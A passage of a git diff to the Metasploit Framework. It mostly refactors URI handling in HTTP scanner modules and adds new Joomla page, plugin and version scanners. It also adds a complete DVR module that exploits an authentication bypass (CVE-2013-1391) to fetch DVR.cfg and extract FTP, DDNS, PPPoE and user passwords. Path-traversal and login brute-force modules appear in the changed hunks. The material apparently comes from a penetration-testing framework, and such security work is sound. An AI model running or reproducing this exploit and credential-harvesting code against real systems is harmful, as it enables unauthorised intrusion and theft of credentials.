'/' if base[-1,1] != '/' peer = "#{ip}:#{rport}" @@ -58,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}index.php", + 'uri' => normalize_uri(base, "index.php"), 'cookie' => "blah=blah; cs_lang=#{traverse}#{f}%00.png" }) diff --git a/modules/auxiliary/scanner/http/concrete5_member_list.rb b/modules/auxiliary/scanner/http/concrete5_member_list.rb index af224e664a..23e159e537 100644 --- a/modules/auxiliary/scanner/http/concrete5_member_list.rb +++ b/modules/auxiliary/scanner/http/concrete5_member_list.rb @@ -44,10 +44,10 @@ class Metasploit4 < Msf::Auxiliary end def run_host(rhost) - url = normalize_uri(datastore['URI']) + url = normalize_uri(datastore['URI'], '/index.php/members') begin - res = send_request_raw({'uri' => "#{url}/index.php/members"}) + res = send_request_raw({'uri' => url}) rescue ::Rex::ConnectionError print_error("#{peer} Unable to connect to #{url}") diff --git a/modules/auxiliary/scanner/http/dolibarr_login.rb b/modules/auxiliary/scanner/http/dolibarr_login.rb index 97a97ae75d..dfbaca5d16 100644 --- a/modules/auxiliary/scanner/http/dolibarr_login.rb +++ b/modules/auxiliary/scanner/http/dolibarr_login.rb @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Auxiliary end def run - @uri = normalize_uri(target_uri) + @uri = normalize_uri(target_uri.path) @uri.path << "/" if @uri.path[-1, 1] != "/" @peer = "#{rhost}:#{rport}" diff --git a/modules/auxiliary/scanner/http/glassfish_login.rb b/modules/auxiliary/scanner/http/glassfish_login.rb index 7f698f9bff..a58f98fb73 100644 --- a/modules/auxiliary/scanner/http/glassfish_login.rb +++ b/modules/auxiliary/scanner/http/glassfish_login.rb @@ -98,7 +98,7 @@ class Metasploit3 < Msf::Auxiliary headers['Content-Type'] = ctype if ctype != nil headers['Content-Length'] = data.length if data != nil - uri = normalize_uri(target_uri) + uri = normalize_uri(target_uri.path) res = send_request_raw({ 'uri' => "#{uri}#{path}", 'method' => method, @@ -218,7 +218,7 @@ class Metasploit3 < Msf::Auxiliary #Get GlassFish version edition, version, banner = get_version(res) - path = normalize_uri(datastore['PATH']) + path = normalize_uri(target_uri.path) target_url = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}" print_status("#{target_url} - GlassFish - Attempting authentication") diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb index af6efdbdfc..4fdb5bab93 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb @@ -60,8 +60,10 @@ class Metasploit4 < Msf::Auxiliary print_status("#{@peer} - Connecting to SiteScope SOAP Interface") + uri = normalize_uri(@uri, 'services/APISiteScopeImpl') + res = send_request_cgi({ - 'uri' => "#{@uri}services/APISiteScopeImpl", + 'uri' => uri, 'method' => 'GET'}) if not res @@ -91,8 +93,10 @@ class Metasploit4 < Msf::Auxiliary print_status("#{@peer} - Retrieving the SiteScope Configuration") + uri = normalize_uri(@uri, 'services/APISiteScopeImpl') + res = send_request_cgi({ - 'uri' => "#{@uri}services/APISiteScopeImpl", + 'uri' => uri, 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => data, diff --git a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb index e58d4282b9..e3fb1fe573 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb @@ -59,8 +59,10 @@ class Metasploit4 < Msf::Auxiliary print_status("#{@peer} - Connecting to SiteScope SOAP Interface") + uri = normalize_uri(@uri, 'services/APIMonitorImpl') + res = send_request_cgi({ - 'uri' => "#{@uri}services/APIMonitorImpl", + 'uri' => uri, 'method' => 'GET'}) if not res @@ -95,8 +97,10 @@ class Metasploit4 < Msf::Auxiliary print_status("#{@peer} - Retrieving the file contents") + uri = normalize_uri(@uri, 'services/APIMonitorImpl') + res = send_request_cgi({ - 'uri' => "#{@uri}services/APIMonitorImpl", + 'uri' => uri, 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => data, diff --git a/modules/auxiliary/scanner/http/http_put.rb b/modules/auxiliary/scanner/http/http_put.rb index f7ab2fd9a7..f0e18eedae 100644 --- a/modules/auxiliary/scanner/http/http_put.rb +++ b/modules/auxiliary/scanner/http/http_put.rb @@ -81,7 +81,7 @@ class Metasploit4 < Msf::Auxiliary begin res = send_request_cgi( { - 'uri' => path, + 'uri' => normalize_uri(path), 'method' => 'PUT', 'ctype' => 'text/plain', 'data' => data, @@ -102,7 +102,7 @@ class Metasploit4 < Msf::Auxiliary begin res = send_request_cgi( { - 'uri' => path, + 'uri' => normalize_uri(path), 'method' => 'DELETE', 'ctype' => 'text/html', }, 20 @@ -119,7 +119,7 @@ class Metasploit4 < Msf::Auxiliary # Main function for the module, duh! # def run_host(ip) - path = normalize_uri(datastore['PATH']) + path = datastore['PATH'] data = datastore['FILEDATA'] if path[-1,1] != '/' diff --git a/modules/auxiliary/scanner/http/joomla_pages.rb b/modules/auxiliary/scanner/http/joomla_pages.rb new file mode 100644 index 0000000000..78b45d33e9 --- /dev/null +++ b/modules/auxiliary/scanner/http/joomla_pages.rb @@ -0,0 +1,109 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + # Huge thanks to @zeroSteiner for helping me. Also thanks to @kaospunk. Finally thanks to + # Joomscan and various MSF modules for code examples. + def initialize + super( + 'Name' => 'Joomla Page Scanner', + 'Description' => %q{ + This module scans a Joomla install for common pages. + }, + 'Author' => [ 'newpid0' ], + 'License' => MSF_LICENSE + ) + register_options( + [ + OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/']) + ], self.class) + end + + def peer + return "#{rhost}:#{rport}" + end + + def run_host(ip) + tpath = normalize_uri(target_uri.path) + if tpath[-1,1] != '/' + tpath += '/' + end + + pages = [ + 'robots.txt', + 'administrator/index.php', + 'admin/', + 'index.php/using-joomla/extensions/components/users-component/registration-form', + 'index.php/component/users/?view=registration', + 'htaccess.txt' + ] + + vprint_status("#{peer} - Checking for interesting pages") + pages.each do |page| + scan_pages(tpath, page, ip) + end + + end + + def scan_pages(tpath, page, ip) + res = send_request_cgi({ + 'uri' => "#{tpath}#{page}", + 'method' => 'GET', + }) + return if not res or not res.body or not res.code + res.body.gsub!(/[\r|\n]/, ' ') + + if (res.code == 200) + note = "Page Found" + if (res.body =~ /Administration Login/ and res.body =~ /\(\'form-login\'\)\.submit/ or res.body =~/administration console/) + note = "Administrator Login Page" + elsif (res.body =~/Registration/ and res.body =~/class="validate">Register<\/button>/) + note = "Registration Page" + end + + print_good("#{peer} - #{note}: #{tpath}#{page}") + + report_note( + :host => ip, + :port => datastore['RPORT'], + :proto => 'http', + :ntype => 'joomla_page', + :data => "#{note}: #{tpath}#{page}", + :update => :unique_data + ) + elsif (res.code == 403) + if (res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) + vprint_status("#{ip} denied access to #{ip} (SSL Required)") + elsif (res.body =~ /has a list of IP addresses that are not allowed/) + vprint_status("#{ip} restricted access by IP") + elsif (res.body =~ /SSL client certificate is required/) + vprint_status("#{ip} requires a SSL client certificate") + else + vprint_status("#{ip} ip access to #{ip} #{res.code} #{res.message}") + end + end + + return + + rescue OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL error") + return + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error("#{peer} - Unable to Connect") + return + rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error("#{peer} - Timeout error") + return + end + +end diff --git a/modules/auxiliary/scanner/http/joomla_plugins.rb b/modules/auxiliary/scanner/http/joomla_plugins.rb new file mode 100644 index 0000000000..37dff56fd4 --- /dev/null +++ b/modules/auxiliary/scanner/http/joomla_plugins.rb @@ -0,0 +1,175 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + # Huge thanks to @zeroSteiner for helping me. Also thanks to @kaospunk. Finally thanks to + # Joomscan and various MSF modules for code examples. + def initialize + super( + 'Name' => 'Joomla Plugins Scanner', + 'Description' => %q{ + This module scans a Joomla install for plugins and potential + vulnerabilities. + }, + 'Author' => [ 'newpid0' ], + 'License' => MSF_LICENSE + ) + register_options( + [ + OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/']), + OptPath.new('PLUGINS', [ true, "Path to list of plugins to enumerate", File.join(Msf::Config.install_root, "data", "wordlists", "joomla.txt")]) + ], self.class) + end + + def peer + return "#{rhost}:#{rport}" + end + + def run_host(ip) + tpath = normalize_uri(target_uri.path) + if tpath[-1,1] != '/' + tpath += '/' + end + + vprint_status("#{peer} - Checking for interesting plugins") + res = send_request_cgi({ + 'uri' => tpath, + 'method' => 'GET' + }) + return if res.nil? + + res.body.gsub!(/[\r|\n]/, ' ') + File.open(datastore['PLUGINS'], 'rb').each_line do |line| + papp = line.chomp + plugin_search(tpath, papp, ip, res.body.size) + end + end + + def plugin_search(tpath, papp, ip, osize) + res = send_request_cgi({ + 'uri' => "#{tpath}#{papp}", + 'method' => 'GET' + }) + return if res.nil? + + res.body.gsub!(/[\r|\n]/, ' ') + nsize = res.body.size + + if (res.code == 200 and res.body !~/#404 Component not found/ and res.body !~/

Joomla! Administration Login<\/h1>/ and osize != nsize) + print_good("#{peer} - Plugin: #{tpath}#{papp} ") + report_note( + :host => ip, + :port => rport, + :proto => 'http', + :ntype => 'joomla_plugin', + :data => "#{tpath}#{papp}", + :update => :unique_data + ) + + if (papp =~/passwd/ and res.body =~/root/) + print_good("#{peer} - Vulnerability: Potential LFI") + report_web_vuln( + :host => ip, + :port => rport, + :vhost => vhost, + :ssl => ssl, + :path => tpath, + :method => "GET", + :pname => "", + :proof => "Response with code #{res.code} contains the 'root' signature", + :risk => 1, + :confidence => 10, + :category => 'Local File Inclusion', + :description => "Joomla: Potential LFI at #{tpath}#{papp}", + :name => 'Local File Inclusion' + ) + elsif (res.body =~/SQL syntax/) + print_good("#{peer} - Vulnerability: Potential SQL Injection") + report_web_vuln( + :host => ip, + :port => rport, + :vhost => vhost, + :ssl => ssl, + :path => tpath, + :method => "GET", + :pname => "", + :proof => "Response with code #{res.code} contains the 'SQL syntax' signature", + :risk => 1, + :confidence => 10, + :category => 'SQL Injection', + :description => "Joomla: Potential SQLI at #{tpath}#{papp}", + :name => 'SQL Injection' + ) + elsif (papp =~/>alert/ and res.body =~/>alert/) + print_good("#{peer} - Vulnerability: Potential XSS") + report_web_vuln( + :host => ip, + :port => rport, + :vhost => vhost, + :ssl => ssl, + :path => tpath, + :method => "GET", + :pname => "", + :proof => "Response with code #{res.code} contains the '>alert' signature", + :risk => 1, + :confidence => 10, + :category => 'Cross Site Scripting', + :description => "Joomla: Potential XSS at #{tpath}#{papp}", + :name => 'Cross Site Scripting' + ) + elsif (papp =~/com_/) + vars = papp.split('_') + pages = vars[1].gsub('/','') + res1 = send_request_cgi({ + 'uri' => "#{tpath}index.php?option=com_#{pages}", + 'method' => 'GET' + }) + if (res1.code == 200) + print_good("#{peer} - Page: #{tpath}index.php?option=com_#{pages}") + report_note( + :host => ip, + :port => datastore['RPORT'], + :proto => 'http', + :ntype => 'joomla_page', + :data => "Page: #{tpath}index.php?option=com_#{pages}", + :update => :unique_data + ) + else + vprint_error("#{peer} - Page: #{tpath}index.php?option=com_#{pages} gave a #{res1.code} response") + end + end + elsif (res.code == 403) + if (res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) + vprint_status("#{ip} ip access to #{ip} (SSL Required)") + elsif (res.body =~ /has a list of IP addresses that are not allowed/) + vprint_status("#{ip} restricted access by IP") + elsif (res.body =~ /SSL client certificate is required/) + vprint_status("#{ip} requires a SSL client certificate") + else + vprint_status("#{ip} denied access to #{ip}#{tpath}#{papp} - #{res.code} #{res.message}") + end + end + return + + rescue OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL error") + return + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error("#{peer} - Unable to Connect") + return + rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error("#{peer} - Timeout error") + return + end + +end diff --git a/modules/auxiliary/scanner/http/joomla_version.rb b/modules/auxiliary/scanner/http/joomla_version.rb new file mode 100644 index 0000000000..f0ebb7cbda --- /dev/null +++ b/modules/auxiliary/scanner/http/joomla_version.rb @@ -0,0 +1,174 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + # Huge thanks to @zeroSteiner for helping me. Also thanks to @kaospunk. Finally thanks to + # Joomscan and various MSF modules for code examples. + def initialize + super( + 'Name' => 'Joomla Version Scanner', + 'Description' => %q{ + This module scans a Joomla install for information about the underlying + operating system and Joomla version. + }, + 'Author' => [ 'newpid0' ], + 'License' => MSF_LICENSE + ) + register_options( + [ + OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/']) + ], self.class) + end + + def peer + return "#{rhost}:#{rport}" + end + + def os_fingerprint(response) + if not response.headers.has_key?('Server') + return "Unkown OS (No Server Header)" + end + + case response.headers['Server'] + when /Win32/, /\(Windows/, /IIS/ + os = "Windows" + when /Apache\// + os = "*Nix" + else + os = "Unknown Server Header Reporting: "+response.headers['Server'] + end + return os + end + + def fingerprint(response) + case response.body + when /(.+)<\/version\/?>/i + v = $1 + out = (v =~ /^6/) ? "Joomla #{v}" : " #{v}" + when /system\.css 20196 2011\-01\-09 02\:40\:25Z ian/, + /MooTools\.More\=\{version\:\"1\.3\.0\.1\"/, + /en-GB\.ini 20196 2011\-01\-09 02\:40\:25Z ian/, + /en-GB\.ini 20990 2011\-03\-18 16\:42\:30Z infograf768/, + /20196 2011\-01\-09 02\:40\:25Z ian/ + out = "1.6" + when /system\.css 21322 2011\-05\-11 01\:10\:29Z dextercowley /, + /MooTools\.More\=\{version\:\"1\.3\.2\.1\"/, + /22183 2011\-09\-30 09\:04\:32Z infograf768/, + /21660 2011\-06\-23 13\:25\:32Z infograf768/ + out = "1.7" + when /Joomla! 1.5/, + /MooTools\=\{version\:\'1\.12\'\}/, + /11391 2009\-01\-04 13\:35\:50Z ian/ + out = "1.5" + when /Copyright \(C\) 2005 \- 2012 Open Source Matters/, + /MooTools.More\=\{version\:\"1\.4\.0\.1\"/ + out = "2.5" + when /\s+ "#{tpath}#{file}", + 'method' => 'GET' + }) + + return :abort if res.nil? + + res.body.gsub!(/[\r|\n]/, ' ') + + if (res.code == 200) + os = os_fingerprint(res) + out = fingerprint(res) + return false if not out + + if(out =~ /Unknown Joomla/) + print_error("#{peer} - Unable to identify Joomla Version with #{file}") + return false + else + print_good("#{peer} - Joomla Version:#{out} from: #{file} ") + print_good("#{peer} - OS: #{os}") + report_note( + :host => ip, + :port => datastore['RPORT'], + :proto => 'http', + :ntype => 'joomla_version', + :data => out + ) + return true + end + elsif (res.code == 403) + if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) + vprint_status("#{ip} denied access to #{ip} (SSL Required)") + elsif(res.body =~ /has a list of IP addresses that are not allowed/) + vprint_status("#{ip} restricted access by IP") + elsif(res.body =~ /SSL client certificate is required/) + vprint_status("#{ip} requires a SSL client certificate") + else + vprint_status("#{ip} denied access to #{ip} #{res.code} #{res.message}") + end + return :abort + end + + return false + + rescue OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL error") + return :abort + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error("#{peer} - Unable to Connect") + return :abort + rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error("#{peer} - Timeout error") + return :abort + end + + def run_host(ip) + tpath = normalize_uri(target_uri.path) + if tpath[-1,1] != '/' + tpath += '/' + end + + files = [ + 'language/en-GB/en-GB.xml', + 'templates/system/css/system.css', + 'media/system/js/mootools-more.js', + 'language/en-GB/en-GB.ini', + 'htaccess.txt', + 'language/en-GB/en-GB.com_media.ini' + ] + + vprint_status("#{peer} - Checking Joomla version") + files.each do |file| + joomla_found = check_file(tpath, file, ip) + return if joomla_found == :abort + break if joomla_found + end + end + +end diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb index 900b8f3313..8eb9e1ce59 100644 --- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb @@ -19,7 +19,10 @@ class Metasploit3 < Msf::Auxiliary This module attempts to identify Ruby on Rails instances vulnerable to an arbitrary object instantiation flaw in the XML request processor. }, - 'Author' => 'hdm', + 'Author' => [ + 'hdm', #author + 'jjarmoc' #improvements + ], 'License' => MSF_LICENSE, 'References' => [ @@ -29,7 +32,8 @@ class Metasploit3 < Msf::Auxiliary )) register_options([ - OptString.new('URIPATH', [true, "The URI to test", "/"]) + OptString.new('URIPATH', [true, "The URI to test", "/"]), + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]), ], self.class) end @@ -37,7 +41,7 @@ class Metasploit3 < Msf::Auxiliary odata = %Q^\n^ res = send_request_cgi({ 'uri' => datastore['URIPATH'] || "/", - 'method' => 'POST', + 'method' => datastore['HTTP_METHOD'], 'ctype' => 'application/xml', 'data' => odata }, 25) @@ -46,29 +50,35 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) res1 = send_probe("string", "hello") - res2 = send_probe("yaml", "--- !ruby/object:Time {}\n") - res3 = send_probe("yaml", "--- !ruby/object:\x00") unless res1 vprint_status("#{rhost}:#{rport} No reply to the initial XML request") return end + if res1.code.to_s =~ /^[5]/ + vprint_status("#{rhost}:#{rport} The server replied with #{res1.code} for our initial XML request, double check URIPATH") + return + end + + res2 = send_probe("yaml", "--- !ruby/object:Time {}\n") + unless res2 vprint_status("#{rhost}:#{rport} No reply to the initial YAML probe") return end + res3 = send_probe("yaml", "--- !ruby/object:\x00") + unless res3 vprint_status("#{rhost}:#{rport} No reply to the second YAML probe") return end - if res1.code.to_s =~ /^[45]/ - vprint_status("#{rhost}:#{rport} The server replied with #{res1.code} for our initial XML request, double check URIPATH") - end + vprint_status("Probe response codes: #{res1.code} / #{res2.code} / #{res3.code}") - if res2.code.to_s =~ /^[23]/ and res3.code != res2.code and res3.code != 200 + + if (res2.code == res1.code) and (res3.code != res2.code) and (res3.code != 200) print_good("#{rhost}:#{rport} is likely vulnerable due to a #{res3.code} reply for invalid YAML") report_vuln({ :host => rhost, @@ -79,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary :refs => self.references }) else - vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or URIPATH must be set") + vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or URIPATH & HTTP_METHOD must be set") end end diff --git a/modules/auxiliary/scanner/http/s40_traversal.rb b/modules/auxiliary/scanner/http/s40_traversal.rb index 5c0039054f..111591aa13 100644 --- a/modules/auxiliary/scanner/http/s40_traversal.rb +++ b/modules/auxiliary/scanner/http/s40_traversal.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary end def run - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1, 1] != '/' t = "/.." * datastore['DEPTH'] @@ -52,9 +52,10 @@ class Metasploit3 < Msf::Auxiliary print_status("Retrieving #{datastore['FILE']}") # No permission to access.log or proc/self/environ, so this is all we do :-/ + uri = normalize_uri(uri, 'index.php') res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{uri}index.php/?p=#{t}#{datastore['FILE']}%00" + 'uri' => "#{uri}/?p=#{t}#{datastore['FILE']}%00" }) if not res diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb index 730217ba95..01d38311ff 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Auxiliary begin res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + "/services/Session", + 'uri' => normalize_uri(datastore['URI'], "/services/Session"), 'method' => 'POST', 'data' => data, 'headers' => diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb index 415ca736ee..53ee160d57 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + "/services/listServices", + 'uri' => normalize_uri(datastore['URI'], "/services/listServices"), 'method' => 'GET' }, 25) return if not res diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb index be3de4bd49..4ff8434ceb 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + "/services/listServices", + 'uri' => normalize_uri(datastore['URI'], "/services/listServices"), 'method' => 'GET' }, 25) return if not res or res.code != 200 diff --git a/modules/auxiliary/scanner/http/vcms_login.rb b/modules/auxiliary/scanner/http/vcms_login.rb index 740a912160..a4fe31dba2 100644 --- a/modules/auxiliary/scanner/http/vcms_login.rb +++ b/modules/auxiliary/scanner/http/vcms_login.rb @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary return :skip_user when /Invalid password/ vprint_status("#{@peer} - Username found: #{user}") - else /\/ + else /\/ print_good("#{@peer} - Successful login: \"#{user}:#{pass}\"") report_auth_info({ :host => rhost, @@ -108,7 +108,7 @@ class Metasploit3 < Msf::Auxiliary end def run - @uri = normalize_uri(target_uri) + @uri = normalize_uri(target_uri.path) @uri.path << "/" if @uri.path[-1, 1] != "/" @peer = "#{rhost}:#{rport}" diff --git a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb index 1efaf6bbff..2d642d9c43 100644 --- a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb +++ b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(9084), - OptString.new('URIPATH', [true, 'URI path to the downloads/', '/vci/downloads/']), + OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']), OptString.new('FILE', [true, 'Define the remote file to download', 'boot.ini']) ], self.class) end @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) fname = File.basename(datastore['FILE']) traversal = ".\\..\\..\\..\\..\\..\\..\\..\\" - uri = normalize_uri(datastore['URIPATH'])+ '/' + traversal + datastore['FILE'] + uri = normalize_uri(datastore['URIPATH']) + traversal + datastore['FILE'] print_status("#{rhost}:#{rport} - Requesting: #{uri}") diff --git a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb new file mode 100644 index 0000000000..3201f3f340 --- /dev/null +++ b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb @@ -0,0 +1,222 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Multiple DVR Manufacturers Configuration Disclosure', + 'Description' => %q{ + This module takes advantage of an authentication bypass vulnerability at the + web interface of multiple manufacturers DVR systems, which allows to retrieve the + device configuration. + }, + 'Author' => + [ + 'Alejandro Ramos', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-1391' ], + [ 'URL', 'http://www.securitybydefault.com/2013/01/12000-grabadores-de-video-expuestos-en.html' ] + ], + 'License' => MSF_LICENSE + ) + + end + + def get_pppoe_credentials(conf) + + user = "" + password = "" + enabled = "" + + if conf =~ /PPPOE_EN=(\d)/ + enabled = $1 + end + + return if enabled == "0" + + if conf =~ /PPPOE_USER=(.*)/ + user = $1 + end + + if conf =~ /PPPOE_PASSWORD=(.*)/ + password = $1 + end + + if user.empty? or password.empty? + return + end + + info = "PPPOE credentials for #{rhost}, user: #{user}, password: #{password}" + + report_note({ + :host => rhost, + :data => info, + :type => "dvr.pppoe.conf", + :sname => 'pppoe', + :update => :unique_data + }) + + end + + + def get_ddns_credentials(conf) + hostname = "" + user = "" + password = "" + enabled = "" + + if conf =~ /DDNS_EN=(\d)/ + enabled = $1 + end + + return if enabled == "0" + + if conf =~ /DDNS_HOSTNAME=(.*)/ + hostname = $1 + end + + if conf =~ /DDNS_USER=(.*)/ + user = $1 + end + + if conf =~ /DDNS_PASSWORD=(.*)/ + password = $1 + end + + if hostname.empty? + return + end + + info = "DDNS credentials for #{hostname}, user: #{user}, password: #{password}" + + report_note({ + :host => rhost, + :data => info, + :type => "dvr.ddns.conf", + :sname => 'ddns', + :update => :unique_data + }) + + end + + def get_ftp_credentials(conf) + server = "" + user = "" + password = "" + port = "" + + if conf =~ /FTP_SERVER=(.*)/ + server = $1 + end + + if conf =~ /FTP_USER=(.*)/ + user = $1 + end + + if conf =~ /FTP_PASSWORD=(.*)/ + password = $1 + end + + if conf =~ /FTP_PORT=(.*)/ + port = $1 + end + + if server.empty? + return + end + + report_auth_info({ + :host => server, + :port => port, + :sname => 'ftp', + :duplicate_ok => false, + :user => user, + :pass => password + }) + end + + def get_dvr_credentials(conf) + conf.scan(/USER(\d+)_USERNAME/).each { |match| + user = "" + password = "" + active = "" + + user_id = match[0] + + if conf =~ /USER#{user_id}_LOGIN=(.*)/ + active = $1 + end + + if conf =~ /USER#{user_id}_USERNAME=(.*)/ + user = $1 + end + + if conf =~ /USER#{user_id}_PASSWORD=(.*)/ + password = $1 + end + + if active == "0" + user_active = false + else + user_active = true + end + + report_auth_info({ + :host => rhost, + :port => rport, + :sname => 'dvr', + :duplicate_ok => false, + :user => user, + :pass => password, + :active => user_active + }) + } + end + + def run_host(ip) + + res = send_request_cgi({ + 'uri' => '/DVR.cfg', + 'method' => 'GET' + }) + + if not res or res.code != 200 or res.body.empty? or res.body !~ /CAMERA/ + vprint_error("#{rhost}:#{rport} - DVR configuration not found") + return + end + + p = store_loot("dvr.configuration", "text/plain", rhost, res.body, "DVR.cfg") + vprint_good("#{rhost}:#{rport} - DVR configuration stored in #{p}") + + conf = res.body + + get_ftp_credentials(conf) + get_dvr_credentials(conf) + get_ddns_credentials(conf) + get_pppoe_credentials(conf) + + dvr_name = "" + if res.body =~ /DVR_NAME=(.*)/ + dvr_name = $1 + end + + report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => "DVR NAME: #{dvr_name}") + print_good("#{rhost}:#{rport} DVR #{dvr_name} found") + end + +end diff --git a/modules/auxiliary/scanner/mysql/mysql_login.rb b/modules/auxiliary/scanner/mysql/mysql_login.rb index be8b70e14f..154c643877 100644 --- a/modules/auxiliary/scanner/mysql/mysql_login.rb +++ b/modules/auxiliary/scanner/mysql/mysql_login.rb @@ -67,6 +67,7 @@ class Metasploit3 < Msf::Auxiliary end offset = 0 l0, l1, l2 = data[offset, 3].unpack('CCC') + return false if data.length < 3 length = l0 | (l1 << 8) | (l2 << 16) # Read a bad amount of data return if length != (data.length - 4) diff --git a/modules/auxiliary/scanner/rdp/ms12_020_check.rb b/modules/auxiliary/scanner/rdp/ms12_020_check.rb new file mode 100644 index 0000000000..5a16d36851 --- /dev/null +++ b/modules/auxiliary/scanner/rdp/ms12_020_check.rb @@ -0,0 +1,178 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include 